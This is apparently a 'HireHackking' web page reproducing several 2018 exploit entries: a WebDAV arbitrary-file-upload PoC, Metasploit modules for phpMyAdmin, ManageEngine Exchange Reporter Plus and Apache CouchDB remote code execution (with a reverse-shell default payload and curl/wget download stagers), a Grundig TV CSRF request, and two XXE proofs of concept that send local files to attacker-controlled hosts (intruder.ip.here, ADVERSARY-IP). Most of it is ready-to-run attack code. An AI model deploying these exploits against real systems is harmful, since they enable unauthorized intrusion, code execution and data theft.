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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Cela Link CLR-M20 2.7.1.6 - Arbitrary File Upload
# Date: 2018-07-13
# Shodan Dork: CLR-M20
# Exploit Author: Safak Aslan
# Software Link: http://www.celalink.com
# Version: 2.7.1.6
# CVE: 2018-15137
# Authentication Required: No
# Tested on: Windows

# Vulnerability Description
# Due to the Via WebDAV (Web Distributed Authoring and Versioning),
# on the remote server, Cela Link CLR-M20 allows unauthorized users to upload
# any file(e.g. asp, aspx, cfm, html, jhtml, jsp, shtml) which causes
# remote code execution as well.
# Due to the WebDAV, it is possible to upload the arbitrary
# file utilizing the PUT method.

# Proof-of-Concept
# Request

PUT /test.html HTTP/1.1
Host: targetIP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0)
Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en,tr-TR;q=0.8,tr;q=0.5,en-US;q=0.3
Accept-Encoding: gzip, deflate
Content-Length: 26

the reflection of random numbers 1230123012

# Response

HTTP/1.1 201 Created
Content-Length: 0
Date: Fri, 13 Jul 2018 14:38:54 GMT
Server: lighttpd/1.4.20

As a result, on the targetIP/test.html, "the reflection of random numbers
1230123012" is reflected on the page.
HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'phpMyAdmin Authenticated Remote Code Execution',
      'Description'     => %q{
        phpMyAdmin v4.8.0 and v4.8.1 are vulnerable to local file inclusion,
        which can be exploited post-authentication to execute PHP code by
        application. The module has been tested with phpMyAdmin v4.8.1.
      },
      'Author' =>
        [
          'ChaMd5', # Vulnerability discovery and PoC
          'Henry Huang', # Vulnerability discovery and PoC
          'Jacob Robles' # Metasploit Module
        ],
      'License'         => MSF_LICENSE,
      'References'      =>
        [
          [ 'BID', '104532' ],
          [ 'CVE', '2018-12613' ],
          [ 'CWE', '661' ],
          [ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2018-4/' ],
          [ 'URL', 'https://www.secpulse.com/archives/72817.html' ],
          [ 'URL', 'https://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-Authorited-CLI-to-RCE/' ]
        ],
      'Privileged'  => false,
      'Platform'  => [ 'php' ],
      'Arch'  => ARCH_PHP,
      'Targets' =>
        [
          [ 'Automatic', {} ],
          [ 'Windows', {} ],
          [ 'Linux', {} ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jun 19 2018'))

    register_options(
      [
        OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']),
        OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']),
        OptString.new('PASSWORD', [ false, "Password to authenticate with", ''])
      ])
  end

  def check
    begin
      res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path) })
    rescue
      vprint_error("#{peer} - Unable to connect to server")
      return Exploit::CheckCode::Unknown
    end

    if res.nil? || res.code != 200
      vprint_error("#{peer} - Unable to query /js/messages.php")
      return Exploit::CheckCode::Unknown
    end

    # v4.8.0 || 4.8.1 phpMyAdmin
    if res.body =~ /PMA_VERSION:"(\d+\.\d+\.\d+)"/
      version = Gem::Version.new($1)
      vprint_status("#{peer} - phpMyAdmin version: #{version}")

      if version == Gem::Version.new('4.8.0') || version == Gem::Version.new('4.8.1')
        return Exploit::CheckCode::Appears
      end
      return Exploit::CheckCode::Safe
    end

    return Exploit::CheckCode::Unknown
  end

  def query(uri, qstring, cookies, token)
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri, 'import.php'),
      'cookie' => cookies,
      'vars_post' => Hash[{
        'sql_query' => qstring,
        'db' => '',
        'table' => '',
        'token' => token
      }.to_a.shuffle]
    })
  end

  def lfi(uri, data_path, cookies, token)
    send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, 'index.php'),
      'cookie' => cookies,
      'encode_params' => false,
      'vars_get' => {
        'target' => "db_sql.php%253f#{'/..'*16}#{data_path}"
      }
    })
  end

  def exploit
    unless check == Exploit::CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
    end

    uri = target_uri.path
    vprint_status("#{peer} - Grabbing CSRF token...")

    response = send_request_cgi({'uri' => uri})

    if response.nil?
      fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage grabbing CSRF token")
    elsif response.body !~ /token"\s*value="(.*?)"/
      fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?")
    end
    token = Rex::Text.html_decode($1)

    if target.name =~ /Automatic/
      /\((?<srv>Win.*)?\)/ =~ response.headers['Server']
      mytarget = srv.nil? ? 'Linux' : 'Windows'
    else
      mytarget = target.name
    end

    vprint_status("#{peer} - Identified #{mytarget} target")

    #Pull out the last two cookies
    cookies = response.get_cookies
    cookies = cookies.split[-2..-1].join(' ')

    vprint_status("#{peer} - Retrieved token #{token}")
    vprint_status("#{peer} - Retrieved cookies #{cookies}")
    vprint_status("#{peer} - Authenticating...")

    login = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri, 'index.php'),
      'cookie' => cookies,
      'vars_post' => {
        'token' => token,
        'pma_username' => datastore['USERNAME'],
        'pma_password' => datastore['PASSWORD']
      }
    })

    if login.nil? || login.code != 302
      fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")
    end

    #Ignore the first cookie
    cookies = login.get_cookies
    cookies = cookies.split[1..-1].join(' ')
    vprint_status("#{peer} - Retrieved cookies #{cookies}")

    login_check = send_request_cgi({
      'uri' => normalize_uri(uri, 'index.php'),
      'vars_get' => { 'token' => token },
      'cookie' => cookies
    })

    if login_check.nil?
      fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")
    elsif login_check.body.include? 'Welcome to'
      fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
    elsif login_check.body !~ /token"\s*value="(.*?)"/
      fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?")
    end
    token = Rex::Text.html_decode($1)

    vprint_status("#{peer} - Authentication successful")

    #Generating strings/payload
    database = rand_text_alpha_lower(5)
    table = rand_text_alpha_lower(5)
    column = rand_text_alpha_lower(5)
    col_val = "'<?php eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\")); ?>'"


    #Preparing sql queries
    dbsql = "CREATE DATABASE #{database};"
    tablesql = "CREATE TABLE #{database}.#{table}(#{column} varchar(4096) DEFAULT #{col_val});"
    dropsql = "DROP DATABASE #{database};"
    dirsql = 'SHOW VARIABLES WHERE Variable_Name Like "%datadir";'

    #Create database
    res = query(uri, dbsql, cookies, token)
    if res.nil? || res.code != 200
      fail_with(Failure::UnexpectedReply, "#{peer} - Failed to create database")
    end

    #Create table and column
    res = query(uri, tablesql, cookies, token)
    if res.nil? || res.code != 200
      fail_with(Failure::UnexpectedReply, "#{peer} - Failed to create table")
    end

    #Find datadir
    res = query(uri, dirsql, cookies, token)
    if res.nil? || res.code != 200
      fail_with(Failure::UnexpectedReply, "#{peer} - Failed to find data directory")
    end

    unless res.body =~ /^<td data.*?>(.*)?</
      fail_with(Failure::UnexpectedReply, "#{peer} - Failed to find data directory")
    end

    #Creating include path
    if mytarget == 'Windows'
      #Table file location
      data_path = $1.gsub(/\\/, '/')
      data_path = data_path.sub(/^.*?\//, '/')
      data_path << "#{database}/#{table}.frm"
    else
      #Session path location
      /phpMyAdmin=(?<session_name>.*?);/ =~ cookies
      data_path = "/var/lib/php/sessions/sess_#{session_name}"
    end

    res = lfi(uri, data_path, cookies, token)

    #Drop database
    res = query(uri, dropsql, cookies, token)
    if res.nil? || res.code != 200
      print_error("#{peer} - Failed to drop database #{database}. Might drop when your session closes.")
    end
  end
end
HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule  < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Manage Engine Exchange Reporter Plus Unauthenticated RCE',
      'Description'    => %q{
        This module exploits a remote code execution vulnerability that
        exists in Exchange Reporter Plus <= 5310, caused by execution of
        bcp.exe file inside ADSHACluster servlet
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Kacper Szurek <kacperszurek@gmail.com>'
        ],
      'References'     =>
        [
          ['URL', 'https://security.szurek.pl/manage-engine-exchange-reporter-plus-unauthenticated-rce.html']
        ],
      'Platform'       => ['win'],
      'Arch'           => [ARCH_X86, ARCH_X64],
      'Targets'        => [['Automatic', {}]],
      'DisclosureDate' => 'Jun 28 2018',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'The URI of the application', '/']),
        Opt::RPORT(8181),
      ])

  end

  def bin_to_hex(s)
      s.each_byte.map { |b| b.to_s(16).rjust(2,'0') }.join
  end

  def check
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, 'exchange', 'servlet', 'GetProductVersion')
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Safe
    end

    unless res.code == 200
      vprint_status 'Target is not Manage Engine Exchange Reporter Plus'
      return CheckCode::Safe
    end

    begin
      json = res.get_json_document
      raise if json.empty? || !json['BUILD_NUMBER']
    rescue
      vprint_status 'Target is not Manage Engine Exchange Reporter Plus'
      return CheckCode::Safe
    end

    vprint_status "Version: #{json['BUILD_NUMBER']}"

    if json['BUILD_NUMBER'].to_i <= 5310
      return CheckCode::Appears
    end

    CheckCode::Safe
  end

  def exploit
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'exchange', 'servlet', 'ADSHACluster'),
      'vars_post' => {
        'MTCALL'  => "nativeClient",
        'BCP_RLL' => "0102",
        'BCP_EXE' => bin_to_hex(generate_payload_exe)
      }
    })
  end
end
HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache CouchDB Arbitrary Command Execution',
      'Description'    => %q{
        CouchDB administrative users can configure the database server via HTTP(S).
        Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB.
        This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user,
        including downloading and executing scripts from the public internet.
      },
      'Author' => [
        'Max Justicz',                       # CVE-2017-12635 Vulnerability discovery
        'Joan Touzet',                       # CVE-2017-12636 Vulnerability discovery
        'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
      ],
      'References' => [
        ['CVE', '2017-12636'],
        ['CVE', '2017-12635'],
        ['URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'],
        ['URL', 'http://docs.couchdb.org/en/latest/cve/2017-12636.html'],
        ['URL', 'https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E']
      ],
      'DisclosureDate' => 'Apr 6 2016',
      'License'        => MSF_LICENSE,
      'Platform'       => 'linux',
      'Arch'           => [ARCH_X86, ARCH_X64],
      'Privileged'     => false,
      'DefaultOptions' => {
        'PAYLOAD' => 'linux/x64/shell_reverse_tcp',
        'CMDSTAGER::FLAVOR' => 'curl'
      },
      'CmdStagerFlavor' => ['curl', 'wget'],
      'Targets' => [
        ['Automatic',                  {}],
        ['Apache CouchDB version 1.x', {}],
        ['Apache CouchDB version 2.x', {}]
      ],
      'DefaultTarget' => 0
    ))

    register_options([
      Opt::RPORT(5984),
      OptString.new('URIPATH', [false, 'The URI to use for this exploit to download and execute. (default is random)']),
      OptString.new('HttpUsername', [false, 'The username to login as']),
      OptString.new('HttpPassword', [false, 'The password to login with'])
    ])

    register_advanced_options([
      OptInt.new('Attempts', [false, 'The number of attempts to execute the payload.']),
      OptString.new('WritableDir', [true, 'Writable directory to write temporary payload on disk.', '/tmp'])
    ])
  end

  def check
    get_version
    version = Gem::Version.new(@version)
    return CheckCode::Unknown if version.version.empty?
    vprint_status "Found CouchDB version #{version}"

    return CheckCode::Appears if version < Gem::Version.new('1.7.0') || version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))

    CheckCode::Safe
  end

  def exploit
    fail_with(Failure::Unknown, "Something went horribly wrong and we couldn't continue to exploit.") unless get_version
    version = @version

    vprint_good("#{peer} - Authorization bypass successful") if auth_bypass

    print_status("Generating #{datastore['CMDSTAGER::FLAVOR']} command stager")
    @cmdstager = generate_cmdstager(
      temp: datastore['WritableDir'],
      file: File.basename(cmdstager_path)
    ).join(';')

    register_file_for_cleanup(cmdstager_path)

    if !datastore['Attempts'] || datastore['Attempts'] <= 0
      attempts = 1
    else
      attempts = datastore['Attempts']
    end

    attempts.times do |i|
      print_status("#{peer} - The #{i + 1} time to exploit")
      send_payload(version)
      Rex.sleep(5)
      # break if we get the shell
      break if session_created?
    end
  end

  # CVE-2017-12635
  # The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON,
  # the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization
  # for the newly created user.
  def auth_bypass
    username = datastore['HttpUsername'] || Rex::Text.rand_text_alpha_lower(4..12)
    password = datastore['HttpPassword'] || Rex::Text.rand_text_alpha_lower(4..12)
    @auth = basic_auth(username, password)

    res = send_request_cgi(
      'uri'           => normalize_uri(target_uri.path, "/_users/org.couchdb.user:#{username}"),
      'method'        => 'PUT',
      'ctype'         => 'application/json',
      'data'          => %({"type": "user","name": "#{username}","roles": ["_admin"],"roles": [],"password": "#{password}"})
    )

    if res && (res.code == 200 || res.code == 201) && res.get_json_document['ok']
      return true
    else
      return false
    end
  end

  def get_version
    @version = nil

    begin
      res = send_request_cgi(
        'uri'           => normalize_uri(target_uri.path),
        'method'        => 'GET',
        'authorization' => @auth
      )
    rescue Rex::ConnectionError
      vprint_bad("#{peer} - Connection failed")
      return false
    end

    unless res
      vprint_bad("#{peer} - No response, check if it is CouchDB. ")
      return false
    end

    if res && res.code == 401
      print_bad("#{peer} - Authentication required.")
      return false
    end

    if res && res.code == 200
      res_json = res.get_json_document

      if res_json.empty?
        vprint_bad("#{peer} - Cannot parse the response, seems like it's not CouchDB.")
        return false
      end

      @version = res_json['version'] if res_json['version']
      return true
    end

    vprint_warning("#{peer} - Version not found")
    return true
  end

  def send_payload(version)
    vprint_status("#{peer} - CouchDB version is #{version}") if version

    version = Gem::Version.new(@version)
    if version.version.empty?
      vprint_warning("#{peer} - Cannot retrieve the version of CouchDB.")
      # if target set Automatic, exploit failed.
      if target == targets[0]
        fail_with(Failure::NoTarget, "#{peer} - Couldn't retrieve the version automaticly, set the target manually and try again.")
      elsif target == targets[1]
        payload1
      elsif target == targets[2]
        payload2
      end
    elsif version < Gem::Version.new('1.7.0')
      payload1
    elsif version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))
      payload2
    elsif version >= Gem::Version.new('1.7.0') || Gem::Version.new('2.1.0')
      fail_with(Failure::NotVulnerable, "#{peer} - The target is not vulnerable.")
    end
  end

  # Exploit with multi requests
  # payload1 is for the version of couchdb below 1.7.0
  def payload1
    rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)
    rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)
    rand_db = Rex::Text.rand_text_alpha_lower(4..12)
    rand_doc = Rex::Text.rand_text_alpha_lower(4..12)
    rand_hex = Rex::Text.rand_text_hex(32)
    rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}"

    register_file_for_cleanup(rand_file)

    send_request_cgi(
      'uri'           => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"),
      'method'        => 'PUT',
      'authorization' => @auth,
      'data'          => %("echo '#{@cmdstager}' > #{rand_file}")
    )

    send_request_cgi(
      'uri'           => normalize_uri(target_uri.path, "/#{rand_db}"),
      'method'        => 'PUT',
      'authorization' => @auth
    )

    send_request_cgi(
      'uri'           => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),
      'method'        => 'PUT',
      'authorization' => @auth,
      'data'          => %({"_id": "#{rand_hex}"})
    )

    send_request_cgi(
      'uri'           => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"),
      'method'        => 'POST',
      'authorization' => @auth,
      'ctype'         => 'application/json',
      'data'          => %({"language":"#{rand_cmd1}","map":""})
    )

    send_request_cgi(
      'uri'           => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd2}"),
      'method'        => 'PUT',
      'authorization' => @auth,
      'data'          => %("/bin/sh #{rand_file}")
    )

    send_request_cgi(
      'uri'           => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"),
      'method'        => 'POST',
      'authorization' => @auth,
      'ctype'         => 'application/json',
      'data'          => %({"language":"#{rand_cmd2}","map":""})
    )
  end

  # payload2 is for the version of couchdb below 2.1.1
  def payload2
    rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)
    rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)
    rand_db = Rex::Text.rand_text_alpha_lower(4..12)
    rand_doc = Rex::Text.rand_text_alpha_lower(4..12)
    rand_tmp = Rex::Text.rand_text_alpha_lower(4..12)
    rand_hex = Rex::Text.rand_text_hex(32)
    rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}"

    register_file_for_cleanup(rand_file)

    res = send_request_cgi(
      'uri'           => normalize_uri(target_uri.path, "/_membership"),
      'method'        => 'GET',
      'authorization' => @auth
    )

    node = res.get_json_document['all_nodes'][0]

    send_request_cgi(
      'uri'           => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd1}"),
      'method'        => 'PUT',
      'authorization' => @auth,
      'data'          => %("echo '#{@cmdstager}' > #{rand_file}")
    )

    send_request_cgi(
      'uri'           => normalize_uri(target_uri.path, "/#{rand_db}"),
      'method'        => 'PUT',
      'authorization' => @auth
    )

    send_request_cgi(
      'uri'           => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),
      'method'        => 'PUT',
      'authorization' => @auth,
      'data'          => %({"_id": "#{rand_hex}"})
    )

    send_request_cgi(
      'uri'           => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"),
      'method'        => 'PUT',
      'authorization' => @auth,
      'ctype'         => 'application/json',
      'data'          => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd1}"})
    )

    send_request_cgi(
      'uri'           => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd2}"),
      'method'        => 'PUT',
      'authorization' => @auth,
      'data'          => %("/bin/sh #{rand_file}")
    )

    send_request_cgi(
      'uri'           => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"),
      'method'        => 'PUT',
      'authorization' => @auth,
      'ctype'         => 'application/json',
      'data'          => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd2}"})
    )
  end

  def cmdstager_path
    @cmdstager_path ||=
      "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}"
  end

end
HireHackking 
# Exploit Title: Grundig Smart Inter@ctive 3.0 - Cross-Site Request Forgery
# Date: 2018-07-§3
# Exploit Author: Ahmethan-Gultekin - t4rkd3vilz
# Vendor Homepage: https://www.grundig.com/
# Software Link: https://play.google.com/store/apps/details?id=arcelik
# Version: Before > Smart Inter@ctive 3.0
# Tested on: Kali Linux
# CVE : CVE-2018-13989

# I'm trying my TV.I saw a Grundig remote control application on
# Google Play. Computer I downloaded and decompiled APK. 
# And I began to examine individual classes. I noticed in a class
# that a request was sent during operations on the command line.
# I downloaded the phone packet viewer and opened the control application and
# made some operations. And I saw that there was such a request;

# PoC

request ->
GET /sendrcpackage?keyid=-2544&keysymbol=-4081 HTTP/1.1
Host: 192.168.1.106:8085
Connection : Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)


response ->
HTTP/1.1 200 OK
Content-Type : text/plain

# Set rc key is handled for key id : -2544 key symbol : -4081
# The only requirement for the connection between the TV and the application
# was to have the same IP address. After I made the IP address on the TV 
# and the phone and the IP address on the computer the same: 
# I accessed the interface from the 8085 port. Now I could do anything from the computer :)
HireHackking 
Details
================
Software: Fortify SSC (Software Security Center) 
Version: 17.10, 17.20 & 18.10
Homepage: https://www.microfocus.com
Advisory report: https://github.com/alt3kx/CVE-2018-12463
CVE: CVE-2018-12463 at https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12463
CVSS: HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)
CWE-611, CWE-918

Description
================
Out-of-Band XML External Entity (OOB-XXE) An XML External Entity attack is a type of attack against an application that parses XML input. 

This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of
confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.

Vulnerability
================
XML external entity (XXE) vulnerability in /ssc/fm-ws/services in Fortify Software Security Center (SSC) 17.10, 17.20 & 18.10 allows remote unauthenticated users to read arbitrary
files or conduct server-side request forgery (SSRF) attacks via a crafted DTD in an XML request.

Proof of concept Exploit
==========================

The offending POST method below:

POST /ssc/fm-ws/services HTTP/1.1
Accept-Encoding: gzip, deflate
SOAPAction: ""
Accept: text/xml
Content-Type: text/xml; charset=UTF-8; text/html;
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_121
Host: fortifyserver.com
Connection: close
Content-Length: 1765

<?xml version='1.0' encoding='UTF-8'?>
<!Your payload here "http://intuder.IP.here/alex1.dtd"> <-- HERE!!! 
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" soapenv:mustUnderstand="1">
      <wsu:Timestamp xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" wsu:Id="Timestamp-2">
        <wsu:Created>2018-05-24T14:27:02.619Z</wsu:Created>
        <wsu:Expires>2018-05-24T14:32:02.619Z</wsu:Expires>
      </wsu:Timestamp>
      <wsse:UsernameToken xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" wsu:Id="UsernameToken-1">
        <wsse:Username>XXXXXXX</wsse:Username>
        <wsse:Password Type="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordText">XXXXXXXXXXX</wsse:Password>
      </wsse:UsernameToken>
    </wsse:Security>
  </soapenv:Header>
  <soapenv:Body>
    <ns3:GetAuthenticationTokenRequest xmlns:ns3="http://www.fortify.com/schema/fws" xmlns:ns6="xmlns://www.fortify.com/schema/issuemanagement" 
xmlns:ns5="xmlns://www.fortifysoftware.com/schema/activitytemplate" xmlns:ns8="xmlns://www.fortifysoftware.com/schema/seed" 
xmlns:ns7="xmlns://www.fortifysoftware.com/schema/runtime" 
xmlns:ns9="xmlns://www.fortify.com/schema/attachments" 
xmlns:ns2="xmlns://www.fortify.com/schema/audit" 
xmlns:ns4="xmlns://www.fortifysoftware.com/schema/wsTypes" 
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
      <ns3:TokenType>AnalysisUploadToken</ns3:TokenType>
    </ns3:GetAuthenticationTokenRequest>
  </soapenv:Body>
</soapenv:Envelope>

Note: As remark that is not necessary to be used the credentials or any authentication, the POST method above was extracted using Burp Suite to know the 
exact API path and data sending to the server.

RedTeam Vector (1): Using “Transitional” payload, connection to HTTP server (intruder). it works!

POST /ssc/fm-ws/services HTTP/1.1
Accept-Encoding: gzip, deflate
SOAPAction: ""
Accept: text/xml
Content-Type: text/xml; charset=UTF-8; text/html;
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_121
Host: fortifyserver.com
Connection: close
Content-Length: 1789

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://intruder.ip.here/alex1.dtd">

[../snip]

RedTeam Vector (2): Classic "OOB XXE" payload, connection to HTTP server (intruder), it works!

POST /ssc/fm-ws/services HTTP/1.1
Accept-Encoding: gzip, deflate
SOAPAction: ""
Accept: text/xml
Content-Type: text/xml; charset=UTF-8
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_121
Host: fortifyserver.com
Connection: close
Content-Length: 1750

<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE data SYSTEM "http://intruder.ip.here/alex1.dtd">
<data>&send;</data>

[../snip]


RedTeam Vector (3): FTP payload with ruby FTP server emulator

POST /ssc/fm-ws/services HTTP/1.1
Accept-Encoding: gzip, deflate
SOAPAction: ""
Accept: text/xml
Content-Type: text/xml; charset=UTF-8
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_121
Host: fortifyserver.com
Connection: close
Content-Length: 1769

<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE data SYSTEM "ftp://intruder.ip.here:2121">

[../snip]


RedTeam Vector (4): FTP payloads with FTP python server

POST /ssc/fm-ws/services HTTP/1.1
Accept-Encoding: gzip, deflate
SOAPAction: ""
Accept: text/xml
Content-Type: text/xml; charset=UTF-8
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_121
Host: fortifyserver.com
Connection: close
Content-Length: 1769

<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE data SYSTEM "ftp://intruder.ip.here:2121">

[../snip]


RedTeam Vector (5): FTP payload, server compromised

POST /ssc/fm-ws/services HTTP/1.1
Accept-Encoding: gzip, deflate
SOAPAction: ""
Accept: text/xml
Content-Type: text/xml; charset=UTF-8
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_121
Host: fortifyserver.com
Connection: close
Content-Length: 1769

<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE data SYSTEM "ftp://anonymous:anonymous@intruder.ip.here:2121/alex1.txt">

[../snip]


Mitigations
================
Provided by the vendor here:

Document ID: KM03201563
https://softwaresupport.softwaregrp.com/document/-/facetsearch/document/KM03201563

Disclosure policy
================
We believes in responsible disclosure.
Please contact us on Alex Hernandez aka alt3kx () protonmail com to acknowledge this report. 

This vulnerability will be published if we do not receive a response to this report with 10 days.

Timeline
================

2018-05-24: Discovered
2018-05-25: Retest PRO environment
2018-05-31: Vendor notification, two issues found 
2018-05-31: Vendor feedback received 
2018-06-01: Internal communication
2018-06-01: Vendor feedback, two issues are confirmed
2018-06-05: Vendor notification, new issue found
2018-06-06: Vendor feedback, evaluating High submission
2018-06-08: Vendor feedback, High issue is confirmed
2018-06-19: Researcher, reminder sent
2018-06-22: Vendor feedback, summary of CVEs handled as official way
2018-06-26: Vendor feedback, official Hotfix for High issue available to test
2018-06-29: Researcher feedback
2018-07-02: Researcher feedback
2018-07-04: Researcher feedback, Hotfix tested on QA environment
2018-07-05: Vendor feedback
2018-07-09: Vendor feedback, final details to disclosure the CVE and official Hotfix availabe for customers.
2018-07-09: Vendor feedback, CVE and official Hotfix to be disclosure
2018-07-12: Agreements with the vendor to publish the CVE/Advisory. 
2018-07-12: Public report
HireHackking 
[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-ENTERPRISE-MODE-SITE-LIST-MANAGER-XXE.txt
[+] ISR: Apparition Security          
 

***Greetz: indoushka | Eduardo***  


Vendor
=============
www.microsoft


Product
===========
Enterprise Mode Site List Manager
versions(1/2)


You can use IE11 and the Enterprise Mode Site List Manager to add individual website domains and domain paths
and to specify whether the site renders using Enterprise Mode or the default mode.



Vulnerability Type
===================
XML External Entity Injection



CVE Reference
==============
N/A


Security Issue
================
Versions 1 and 2 of Microsoft Enterprise Mode Site List Manager allow local file exfiltration to a remote attacker controlled server, if the user is tricked
into using an attacker supplied ".emie" site list manager file type.



Exploit/POC
=============
1) python -m SimpleHTTPServer



2) POC.emie

<?xml version="1.0"?>  
<!DOCTYPE roottag [ 
<!ENTITY % file SYSTEM "c:\Windows\msdfmap.ini">
<!ENTITY % dtd SYSTEM "http://ADVERSARY-IP:8000/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>


3) payload.dtd

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ADVERSARY-IP:8000?%file;'>">
%all;


Import the POC.emie into Enterprise Mode Site List Manager, then remote attackers will recieve local user files... nice.


Network Access
===============
Remote




Severity
=========
High




[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
